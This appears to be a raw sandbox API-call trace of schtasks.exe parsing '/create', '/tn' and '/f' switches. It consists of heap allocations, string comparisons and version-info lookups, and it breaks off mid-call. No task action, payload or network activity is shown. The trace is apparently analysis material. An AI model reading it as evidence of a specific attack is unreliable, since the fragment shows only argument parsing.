[0121.461] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.461] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|end|") returned 5 [0121.461] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.461] lstrlenW (lpString="|end|") returned 5 [0121.461] lstrlenW (lpString="|f|") returned 3 [0121.461] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0121.461] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.461] lstrlenW (lpString="showsid") returned 7 [0121.461] lstrlenW (lpString="showsid") returned 7 [0121.461] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.461] lstrlenW (lpString="f") returned 1 [0121.461] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.461] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|showsid|") returned 9 [0121.461] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.462] lstrlenW (lpString="|showsid|") returned 9 [0121.462] lstrlenW (lpString="|f|") returned 3 [0121.462] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0121.462] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.462] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.462] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.462] lstrlenW (lpString="/f") returned 2 [0121.462] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0121.462] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.462] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.462] lstrlenW (lpString="/f") returned 2 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x6) returned 0x27bec403c30 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b4b0 [0121.462] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403980) returned 1 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403980) returned 0x8 [0121.462] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403980) returned 1 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b4e0) returned 1 [0121.462] GetProcessHeap () returned 0x27bec400000 [0121.462] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b4e0) returned 0x20 [0121.463] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b4e0) returned 1 [0121.463] GetProcessHeap () returned 0x27bec400000 [0121.463] GetProcessHeap () returned 0x27bec400000 [0121.463] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aad0) returned 1 [0121.463] GetProcessHeap () returned 0x27bec400000 [0121.463] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aad0) returned 0x16 [0121.463] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aad0) returned 1 [0121.463] GetProcessHeap () returned 0x27bec400000 [0121.463] GetProcessHeap () returned 0x27bec400000 [0121.463] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b810) returned 1 [0121.463] GetProcessHeap () returned 0x27bec400000 [0121.463] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b810) returned 0x20 [0121.464] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b810) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4039a0) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4039a0) returned 0x8 [0121.464] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4039a0) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b7e0) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b7e0) returned 0x20 [0121.464] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b7e0) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40abb0) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40abb0) returned 0xe [0121.464] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40abb0) returned 1 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] GetProcessHeap () returned 0x27bec400000 [0121.464] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ba80) returned 1 [0121.465] GetProcessHeap () returned 0x27bec400000 [0121.465] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ba80) returned 0x20 [0121.465] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ba80) returned 1 [0121.465] GetProcessHeap () returned 0x27bec400000 [0121.465] GetProcessHeap () returned 0x27bec400000 [0121.465] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4042c0) returned 1 [0121.465] GetProcessHeap () returned 0x27bec400000 [0121.485] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4042c0) returned 0x8 [0121.485] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4042c0) returned 1 [0121.485] GetProcessHeap () returned 0x27bec400000 [0121.485] GetProcessHeap () returned 0x27bec400000 [0121.485] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b5d0) returned 1 [0121.485] GetProcessHeap () returned 0x27bec400000 [0121.485] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b5d0) returned 0x20 [0121.486] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b5d0) returned 1 [0121.486] GetProcessHeap () returned 0x27bec400000 [0121.486] GetProcessHeap () returned 0x27bec400000 [0121.486] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4042e0) returned 1 [0121.486] GetProcessHeap () returned 0x27bec400000 [0121.486] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4042e0) returned 0x6 [0121.486] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4042e0) returned 1 [0121.486] GetProcessHeap () returned 0x27bec400000 [0121.486] GetProcessHeap () returned 0x27bec400000 [0121.486] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b510) returned 1 [0121.486] GetProcessHeap () returned 0x27bec400000 [0121.486] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b510) returned 0x20 [0121.487] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b510) returned 1 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.487] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404300) returned 1 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.487] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404300) returned 0x8 [0121.487] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404300) returned 1 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.487] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b840) returned 1 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.487] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b840) returned 0x20 [0121.487] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b840) returned 1 [0121.487] GetProcessHeap () returned 0x27bec400000 [0121.488] GetProcessHeap () returned 0x27bec400000 [0121.488] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403ba0) returned 1 [0121.488] GetProcessHeap () returned 0x27bec400000 [0121.488] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403ba0) returned 0x86 [0121.488] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403ba0) returned 1 [0121.488] GetProcessHeap () returned 0x27bec400000 [0121.488] GetProcessHeap () returned 0x27bec400000 [0121.488] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b930) returned 1 [0121.488] GetProcessHeap () returned 0x27bec400000 [0121.488] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b930) returned 0x20 [0121.489] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b930) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4043b0) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4043b0) returned 0x8 [0121.489] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4043b0) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b780) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b780) returned 0x20 [0121.489] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b780) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ab70) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.489] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ab70) returned 0x10 [0121.489] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ab70) returned 1 [0121.489] GetProcessHeap () returned 0x27bec400000 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b870) returned 1 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b870) returned 0x20 [0121.490] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b870) returned 1 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403c30) returned 1 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403c30) returned 0x6 [0121.490] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403c30) returned 1 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b4b0) returned 1 [0121.490] GetProcessHeap () returned 0x27bec400000 [0121.490] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b4b0) returned 0x20 [0121.491] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b4b0) returned 1 [0121.491] GetProcessHeap () returned 0x27bec400000 [0121.491] GetProcessHeap () returned 0x27bec400000 [0121.491] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404ef0) returned 1 [0121.491] GetProcessHeap () returned 0x27bec400000 [0121.491] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404ef0) returned 0x18 [0121.491] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404ef0) returned 1 [0121.491] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.491] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0121.491] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0121.491] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0121.491] RtlVerifyVersionInfo (VersionInfo=0x7c8527c600, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0121.491] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.492] lstrlenW (lpString="create") returned 6 [0121.492] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0121.492] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.492] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.492] lstrlenW (lpString="create") returned 6 [0121.492] GetProcessHeap () returned 0x27bec400000 [0121.492] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b7b0 [0121.492] GetProcessHeap () returned 0x27bec400000 [0121.492] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec40abd0 [0121.492] _memicmp (_Buf1=0x27bec40abd0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.492] GetProcessHeap () returned 0x27bec400000 [0121.492] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x16) returned 0x27bec40aad0 [0121.492] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.492] _memicmp (_Buf1=0x27bec4040c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.492] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27bec409b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0121.492] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x7c8527c758 | out: lpdwHandle=0x7c8527c758) returned 0x76c [0121.492] GetProcessHeap () returned 0x27bec400000 [0121.492] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x776) returned 0x27bec40bdc0 [0121.493] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x27bec40bdc0 | out: lpData=0x27bec40bdc0) returned 1 [0121.493] VerQueryValueW (in: pBlock=0x27bec40bdc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x7c8527c6f0, puLen=0x7c8527c750 | out: lplpBuffer=0x7c8527c6f0*=0x27bec40c170, puLen=0x7c8527c750) returned 1 [0121.493] _memicmp (_Buf1=0x27bec4040c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.493] _vsnwprintf (in: _Buffer=0x27bec409b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x7c8527c6c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0121.493] VerQueryValueW (in: pBlock=0x27bec40bdc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x7c8527c6e0, puLen=0x7c8527c748 | out: lplpBuffer=0x7c8527c6e0*=0x27bec40bfa0, puLen=0x7c8527c748) returned 1 [0121.493] lstrlenW (lpString="schtasks.exe") returned 12 [0121.493] lstrlenW (lpString="schtasks.exe") returned 12 [0121.493] lstrlenW (lpString=".EXE") returned 4 [0121.493] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0121.493] lstrlenW (lpString="schtasks.exe") returned 12 [0121.493] lstrlenW (lpString=".EXE") returned 4 [0121.493] lstrlenW (lpString="schtasks") returned 8 [0121.493] lstrlenW (lpString="/create") returned 7 [0121.493] _memicmp (_Buf1=0x27bec4040c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.493] _vsnwprintf (in: _Buffer=0x27bec409b80, _BufferCount=0x19, _Format="%s %s", _ArgList=0x7c8527c6c8 | out: _Buffer="schtasks /create") returned 16 [0121.493] _memicmp (_Buf1=0x27bec403ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.493] GetProcessHeap () returned 0x27bec400000 [0121.493] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b6c0 [0121.493] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.493] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0121.494] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0121.494] GetProcessHeap () returned 0x27bec400000 [0121.494] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x30) returned 0x27bec403980 [0121.494] _vsnwprintf (in: _Buffer=0x27bec403f00, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x7c8527c6c8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0121.494] GetProcessHeap () returned 0x27bec400000 [0121.494] GetProcessHeap () returned 0x27bec400000 [0121.494] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40bdc0) returned 1 [0121.494] GetProcessHeap () returned 0x27bec400000 [0121.494] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40bdc0) returned 0x776 [0121.494] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40bdc0) returned 1 [0121.494] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.494] GetThreadLocale () returned 0x409 [0121.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.494] lstrlenW (lpString="create") returned 6 [0121.494] GetThreadLocale () returned 0x409 [0121.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.494] lstrlenW (lpString="?") returned 1 [0121.494] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="s") returned 1 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="u") returned 1 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="p") returned 1 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="ru") returned 2 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="rp") returned 2 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="sc") returned 2 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="mo") returned 2 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="d") returned 1 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="m") returned 1 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="i") returned 1 [0121.495] GetThreadLocale () returned 0x409 [0121.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.495] lstrlenW (lpString="tn") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="tr") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="st") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="sd") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="ed") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="it") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="et") returned 2 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.496] lstrlenW (lpString="k") returned 1 [0121.496] GetThreadLocale () returned 0x409 [0121.496] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="du") returned 2 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="ri") returned 2 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="z") returned 1 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="f") returned 1 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="v1") returned 2 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="xml") returned 3 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="ec") returned 2 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.549] lstrlenW (lpString="rl") returned 2 [0121.549] GetThreadLocale () returned 0x409 [0121.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.550] lstrlenW (lpString="delay") returned 5 [0121.550] GetThreadLocale () returned 0x409 [0121.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.550] lstrlenW (lpString="np") returned 2 [0121.550] GetThreadLocale () returned 0x409 [0121.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.550] lstrlenW (lpString="hresult") returned 7 [0121.550] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.550] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.550] lstrlenW (lpString="/create") returned 7 [0121.550] lstrlenW (lpString="-/") returned 2 [0121.550] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.550] lstrlenW (lpString="create") returned 6 [0121.550] lstrlenW (lpString="create") returned 6 [0121.550] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.550] lstrlenW (lpString="create") returned 6 [0121.550] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.550] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.550] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.550] lstrlenW (lpString="|create|") returned 8 [0121.550] lstrlenW (lpString="|create|") returned 8 [0121.550] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0121.550] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.550] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.550] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.550] lstrlenW (lpString="/tn") returned 3 [0121.550] lstrlenW (lpString="-/") returned 2 [0121.550] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.550] lstrlenW (lpString="create") returned 6 [0121.550] lstrlenW (lpString="create") returned 6 [0121.550] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.551] lstrlenW (lpString="tn") returned 2 [0121.551] _memicmp 